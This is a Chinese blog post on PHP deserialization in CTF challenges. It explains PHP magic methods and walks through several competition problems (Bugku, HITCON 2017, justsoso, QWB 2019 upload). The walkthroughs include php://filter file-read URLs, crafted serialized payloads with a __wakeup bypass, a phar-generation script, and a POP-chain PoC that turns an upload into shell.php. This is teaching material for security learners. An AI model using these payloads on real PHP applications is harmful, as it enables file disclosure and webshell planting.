江鸟's Blog

ctf中的php反序列化

字数统计: 2.3k阅读时长: 11 min
2019/07/11 Share

最近在看反序列化,顺便找了几个例题。

php反序列化

b站视频(入门推荐):

https://www.bilibili.com/video/av53361627?from=search&seid=7471418610411846125

php面向对象

URL:https://www.kancloud.cn/webxyl/php_oop/68874

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class Person
{
//下面是人的成员属性
var $name; //人的名子
var $sex; //人的性别
var $age; //人的年龄

//下面是人的成员方法
function say() { //这个人可以说话的方法
echo "我的名子叫:" . $this->name . " 性别:" . $this->sex . " 我的年龄是:" . $this->age;
}

function run() { //这个人可以走路的方法
echo "这个人在走路";
}
}

$p1 = new Person(); //创建实例对象$p1
$p2 = new Person(); //创建实例对象$p2
$p3 = new Person(); //创建实例对象$p3

//下面三行是给$p1对象属性赋值
$p1->name = "张三";
$p1->sex = "男";
$p1->age = 20;

//下面访问$p1对象中的说话方法
$p1->say();

//下面三行是给$p2对象属性赋值
$p2->name = "李四";
$p2->sex = "女";
$p2->age = 30;

//下面访问$p2对象中的说话方法
$p2->say();

//下面三行是给$p3对象属性赋值
$p3->name = "王五";
$p3->sex = "男";
$p3->age = 40;

//下面访问$p3对象中的说话方法
$p3->say();
?>

常用魔法函数

  1. construct()
    实例化对象时被调用,
    construct和以类名为函数名的函数同时存在时,__construct将被调用,另一个不被调用。

  2. __destruct()
    当删除一个对象或对象操作终止时被调用。

  3. call()
    对象调用某个方法,
    若方法存在,则直接调用;
    若不存在,则会去调用
    call函数。

  4. get()
    读取一个对象的属性时,
    若属性存在,则直接返回属性值;
    若不存在,则会调用
    get函数。

  5. set()
    设置一个对象的属性时,
    若属性存在,则直接赋值;
    若不存在,则会调用
    set函数。

  6. __toString()
    打印一个对象的时被调用。如echo $obj;或print $obj;

  7. __clone()
    克隆对象时被调用。如:$t=new Test();$t1=clone $t;

  8. __sleep()
    serialize之前被调用。若对象比较大,想删减一点东东再序列化,可考虑一下此函数。

  9. __wakeup()
    unserialize时被调用,做些对象的初始化工作。

  10. __isset()
    检测一个对象的属性是否存在时被调用。如:isset($c->name)。

  11. __unset()
    unset一个对象的属性时被调用。如:unset($c->name)。

  12. set_state()
    调用var_export时,被调用。用
    set_state的返回值做为var_export的返回值。

  13. __autoload()
    实例化一个对象时,如果对应的类不存在,则该方法被调用。

例题

  1. D0g3 ctf平台

    url:http://120.79.33.253:9001

    1
    2
    3
    4
    5
    6
    7
    <?php

    $KEY = "D0g3!!!";

    echo serialize($KEY)

    ?>
  2. bugku ctf :welcome to bugkuctf

    URL: http://123.206.87.240:8006/test1/

    Wp :https://blog.csdn.net/yh1013024906/article/details/81087939

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    解题:
    http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

    POST:welcome to the bugkuctf

    可以查看到hint.php的源码 ,用同样的方式读取 index.php

    hint.php:

    <?php

    class Flag{//flag.php
    public $file;
    public function __tostring(){
    if(isset($this->file)){
    echo file_get_contents($this->file);
    echo "<br>";
    return ("good");
    }
    }
    }
    ?>

    index.php:


    <?php
    $txt = $_GET["txt"];
    $file = $_GET["file"];
    $password = $_GET["password"];

    if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
    echo "hello friend!<br>";
    if(preg_match("/flag/",$file)){ //file内不能出现flag
    echo "不能现在就给你flag哦";
    exit();
    }else{
    include($file);
    $password = unserialize($password);
    echo $password;
    }
    }else{
    echo "you are not the number of bugku ! ";
    }

    ?>

    <!--
    $user = $_GET["txt"];
    $file = $_GET["file"];
    $pass = $_GET["password"];

    if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
    echo "hello admin!<br>";
    include($file); //hint.php
    }else{
    echo "you are not admin ! ";
    }
    -->
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    payload:

    <?php
    class FLAG
    {
    public $file="flag.php";

    }
    $a = new FLAG();
    $a = serialize($a);
    print_r($a);
    ?>

    O:4:"FLAG":1:{s:4:"file";s:8:"flag.php";}
  3. HITCON 2017. baby^h-master-php-2017(仅做参考)

    Url:http://117.50.3.97:8005/

    wp:https://xz.aliyun.com/t/1773

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    开题给了全部的源码,就是那么自信,给你源码你也不会,因为比赛的时候这是个0day。

    <?php
    $FLAG = create_function("", 'die(`/read_flag`);');
    $SECRET = `/read_secret`;
    $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($SANDBOX);
    @chdir($SANDBOX);
    //这些代码是创造一个读取flag 的函数,初识化了沙盒,可以不管
    if (!isset($_COOKIE["session-data"])) {
    $data = serialize(new User($SANDBOX));
    $hmac = hash_hmac("sha1", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
    }
    class User {
    public $avatar;
    function __construct($path) {
    $this->avatar = $path;
    }
    }
    class Admin extends User {
    function __destruct(){ //!!!获取flag的方式在这里!!!
    $random = bin2hex(openssl_random_pseudo_bytes(32));//生成32位随机字节并转换16进制
    eval("function my_function_$random() {"
    ." global \$FLAG; \$FLAG();"
    ."}"); //运行这个函数就可以拿到flag
    $_GET["lucky"](); //可以用来调用函数
    }
    } //获取flag就需要通过反序列化admin类来触发__destruct来完成.
    function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2);
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
    die("Bye");
    if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
    die("Bye Bye");
    $data = unserialize($data);
    if ( !isset($data->avatar) )
    die("Bye Bye Bye");
    return $data->avatar;
    }
    function upload($path) {
    $data = file_get_contents($_GET["url"] . "/avatar.gif");
    if (substr($data, 0, 6) !== "GIF89a")
    die("Fuck off");//开头几位为"GIF89a"
    file_put_contents($path . "/avatar.gif", $data);
    die("Upload OK");
    }
    function show($path) {
    if ( !file_exists($path . "/avatar.gif") )
    $path = "/var/www/html";
    header("Content-Type: image/gif");
    die(file_get_contents($path . "/avatar.gif"));
    }
    $mode = $_GET["m"];
    if ($mode == "upload")
    upload(check_session());
    else if ($mode == "show")
    show(check_session());
    else
    highlight_file(__FILE__);

    phar协议:phar文件本质是一个压缩文件,在使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。

    1. 生成phar文件

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      <?php
      class Admin {
      Public $avatar;
      }

      @unlink("phar.phar");
      $phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
      $phar->startBuffering();
      $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
      $o = new Admin();
      $o->avatar = 'xxx'; //随便填写
      $phar->setMetadata($o); //将自定义的meta-data存入manifest
      $phar->addFromString("test.txt", "test"); //添加要压缩的文件
      //签名自动计算
      $phar->stopBuffering();
      ?>
  1. 国赛线上赛 justsoso

    源码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    使用伪协议可以读取
    ?file=php://filter/read=convert.base64-encode/resource=hint.php

    index.php


    <html>
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    $payload = $_GET["payload"];
    if(!isset($file)){
    echo 'Missing parameter'.'<br>';
    }
    if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
    }
    @include($file);
    if(isset($payload)){
    $url = parse_url($_SERVER['REQUEST_URI']); //对url进行解析,将组成部分返回一个关联数组,
    //这里有需要利用的漏洞,parse_url绕过 //绕过
    parse_str($url['query'],$query);//把查询字符串分解解析到变量之中
    foreach($query as $value){
    if (preg_match("/flag/",$value)) {
    die('stop hacking!');
    exit();
    }
    }
    $payload = unserialize($payload);
    }else{
    echo "Missing parameters";
    }
    ?>
    <!--Please test index.php?file=xxx.php -->
    <!--Please get the source of hint.php-->
    </html>

    hint.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    <?php    
    class Handle{
    private $handle;
    public function __wakeup(){//绕过只需要添加成员变量
    foreach(get_object_vars($this) as $k => $v) {//全部制空
    $this->$k = null;
    }
    echo "Waking upn";
    }
    public function __construct($handle) {
    $this->handle = $handle;
    }
    public function __destruct(){
    $this->handle->getFlag();
    }
    }
    class Flag{
    public $file;
    public $token;
    public $token_flag;
    function __construct($file){
    $this->file = $file;
    $this->token_flag = $this->token = md5(rand(1,10000));
    }
    public function getFlag(){
    $this->token_flag = md5(rand(1,10000));
    //$this->token_flag === $this->token;
    if($this->token === $this->token_flag){
    if(isset($this->file)){
    echo @highlight_file($this->file,true);
    }
    }
    }
    }


    //$flag = new Flag("flag.php");
    //$handle = new Handle($flag);
    //echo serialize($handle)."\n";
    ?>



    O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"c6d4eb15f1e84a36eff58eca3627c82e";s:10:"token_flag";R:4;}}


    ///?file=hint.php&payload=O:6:”Handle”:2:{s:14:”%00Handle%00handle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;s:32:”b77375f945f272a2084c0119c871c13c”;s:10:”token_flag”;R:4;}}
  1. 2019强网杯 upload

    大佬的wp:https://www.zhaoj.in/read-5873.html

    github项目地址:https://github.com/CTFTraining/qwb_2019_upload

    搭建教程:

    http://ofmine123.club/2019/07/12/Docker%E6%90%AD%E5%BB%BACTF%E5%B9%B3%E5%8F%B0/#more

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    拿到源码 发现断点 应该是hint
    审计后发现重点文件

    web/controller/Index.php
    web/controller/Profile.php
    web/controller/Register.php

    基本思路:绕过重命名的函数,直接调用上传

    profile.php 内有上传的代码 但是也有修改名称 需要绕过

    profile.php 的 upload_img()有2个if
    绕过这段代码的第一个if语句,让checker的值为false,让ext的值为true

    如何反序列化执行 upload_img函数

    看到末尾有2个魔法函数

    __call方法在对象调用不可调用方法是会被触发,__get方法在调用不可调用属性的时候会被触发,可以利用这两个魔术方法来调用

    把checker作为Profile的对象,然后registed为0的时候会执行checker->index();这对于Profile类的对象checker来说就是一个不可调用的函数,因为Profile类中没有这个方法,所以会触发__call方法,此时__call函数的参数为
    $name=index,$arguments=(array([0]=>‘index’)
    传入后发现调用了$this->index 不存在 所以触发了__get方法
    可以使用get调用upload_img方法

    这就是大致的思路
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
       poc:
    <?php
    namespace app\web\controller; //命名空间必须要写

    class Register{
    public $checker;
    public $registed;

    public function __destruct()
    {
    if(!$this->registed){
    $this->checker->index();
    }
    }

    }
    class Profile{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __get($name)
    {
    return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
    if($this->{$name}){
    $this->{$this->{$name}}($arguments);
    }
    }
    }

    $a=new Register();
    $a->registed=0;
    $a->checker=new Profile(); //触发_call和_get
    $a->checker->except=array('index'=>'upload_img');
    //原本调用的是index 不存在 返回调用upload_img
    $a->checker->ext=1;
    $a->checker->filename_tmp="./upload/1b5337d0c8ad813197b506146d8d503d/63c85d8fea3a65f4a0888e30607c53a7.png";
    $a->checker->filename="./upload/1b5337d0c8ad813197b506146d8d503d/shell.php";
    echo base64_encode(serialize($a));
    ?>
CATALOG
  1. 1. php反序列化
    1. 1.1. php面向对象
    2. 1.2. 常用魔法函数
    3. 1.3. 例题